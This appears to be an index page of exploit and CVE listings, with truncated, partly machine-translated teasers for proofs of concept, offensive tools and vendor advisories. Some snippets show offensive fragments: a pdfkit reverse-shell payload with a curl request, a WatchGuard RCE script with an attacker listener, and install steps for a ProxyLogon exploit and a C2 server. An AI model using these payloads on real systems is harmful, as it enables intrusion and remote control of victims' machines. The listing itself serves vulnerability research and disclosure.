CVE-2022-3656

Imperva Red Team ने हाल ही में CVE-2022-3656 नामक एक भेद्यता का खुलासा किया है जो Google Chrome और Chromium-आधारित ब्राउज़रों के 2.5 बिलियन से अधिक उपयोगकर्ताओं को प्रभावित करती है। यह भेद्यता संवेदनशील फ़ाइलों, जैसे एन्क्रिप्टेड वॉलेट और क्लाउड प्रदाता क्रेडेंशियल्स की चोरी की अनुमति देती है।...

cve-2020-5902

F5 BIG-IP "TMUI" RCE भेद्यता के लिए NMAP स्क्रिप्ट संदर्भ:https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse...

proxylogon

proxylogon استغلالي لسلسلة proxylogon خادم Microsoft Exchange - CVE-2021-26855 التشغيل: يستخدم الاستغلال حزمة Impacket، لتثبيتها قم بتشغيل هذا: root@kitploit: user@host:$ python3 -m pip install impacket ثم استنسخ مستودع الاستغلال، وأدخل إلى دليل الاستغلال: root@kitploit: user@host:$ git clone...

bothan

bothan Confirmer qu'une adresse ip:port héberge Empire. Support éventuel pour d'autres C2. Usage root@kitploit: Direct single query ❯❯ bothan -v localhost:8080 DEBU2020-01-19T20:25:02-05:00 Requesting... host="localhost:8080" INFO2020-01-19T20:25:02-05:00 SUCCESS host="http://localhost:8080"...

CVE-2026-76193

Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) that can lead to arbitrary code execution in the context of the current user. Exploitation requires no user interaction and has a changed scope , reflected in a CVSS 3.1 score of 10.0 (Critica...

CVE-2026-76193 Adobe Campaign Classic (ACC) | Server-Side Request Forgery (SSRF) (CWE-918)

Adobe Campaign Classic ACC is affected by a Server-Side Request Forgery SSRF vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user...

EUVD-2026-65617

Adobe Campaign Classic ACC is affected by a Server-Side Request Forgery SSRF vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user...

CVE-2022-4174_CVE-2022-41742

CVE-2022-4174CVE-2022-41742 CVE-2022-4174CVE-2022-41742 के लिए PoC यह निर्धारित करने के लिए कि Nginx 1.22.1 असुरक्षित है या नहीं [email protected] यह PoC यह निर्धारित करने की अनुमति देता है कि क्या Nginx सर्वर का संस्करण 1.22.1 कुछ ज्ञात कमजोरियों के प्रति असुरक्षित है, जिनमें शामिल हैं:...

CVE-2019-20372

إثبات المفهوم لـ CVE 2019-20372 [email protected] الوصف NGINX قبل الإصدار 1.17.7، مع بعض تكوينات errorpage، يسمح بتهريب طلبات HTTP، كما هو موضح بقدرة المهاجم على قراءة صفحات ويب غير مصرح بها في بيئات يتم فيها وضع NGINX أمام موازن تحميل. مستغل CVE-2019-20372 تم تصميم هذا السكريت بلغة Python...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL के माध्यम से बोल्ड मानों को संशोधित करें: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

RedbloodC2

Versão pública do Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims instalação root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Uso root@kitploit: After install node.js an...

cve-2020-14882

cve-2020-14882 उपयोग: cve-2020-14882.py http://127.0.0.1...

SIPI

Ferramentas Simples de Informação IP sIPI para Análise de Dados de Reputação IP @st2labs Ferramenta Simples de Informação IP @st2labs Autor : Julian J. Gonzalez Caracuel - Twitter: @rhodius | @seguriadxato2 | @st2labs Vesion : 0.1 Resumos Esta ferramenta é destinada à Equipe de Resposta a...

Important: Red Hat Security Advisory: Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0

Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0 is now available. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from th...

CVE-2020-15399

शोषण शीर्षक: Joomla! J2 JOBS 1.3.0 - 'sortby' प्रमाणित SQL इंजेक्शन दिनांक: 2020-06-17 शोषण लेखक: Mehmet Kelepçe / Gais Cyber Security विक्रेता होमपेज: https://joomsky.com/ सॉफ्टवेयर लिंक: https://joomsky.com/products/js-jobs-pro.html परिवर्तन लॉग अपडेट: https://joomsky.com/products/js-jobs.html...

CVE-2020-13424

शोषण शीर्षक: Joomla! प्लगइन XCloner बैकअप 3.5.3 - स्थानीय फ़ाइल समावेशन प्रमाणित दिनांक: 2020-05-10 शोषण लेखक: मेहमत केलेप्से / गैस साइबर सुरक्षा एक्सप्लॉइट-डीबी लेखक आईडी: 8763 संदर्भ: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/ विक्रेता होमपेज:...

CVE-2020-12629

osTicket 1.14.1 - Cross-Site Scripting persistant authentifié Auteur : Mehmet Kelepce / Gais Cyber Security Date : 2020-03-24 Lien source : https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884 CVE : https://vulners.com/cve/CVE-2020-12629 Exploit-Db :...

poorskeme

poorSKeme OSINT - Visualização de Dados - Blockchain - Conscientização - Golpe Instalação Vá para este site e clique no botão de download Ou vá para a seção de releases. Baixe o arquivo ZIP chamado poorSKeme.zip Descompacte, instale os requisitos e execute. root@kitploit: unzip poorSKeme.zip cd...

RemoteKeyStrokes

RemoteKeyStrokes Um script para automatizar pressionamentos de teclas através de uma sessão remota ativa de área de trabalho que auxilia operadores ofensivos em combinação com técnicas de "living off the land". Todos os créditos vão para nopernik por tornar isso possível, então eu decidi...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...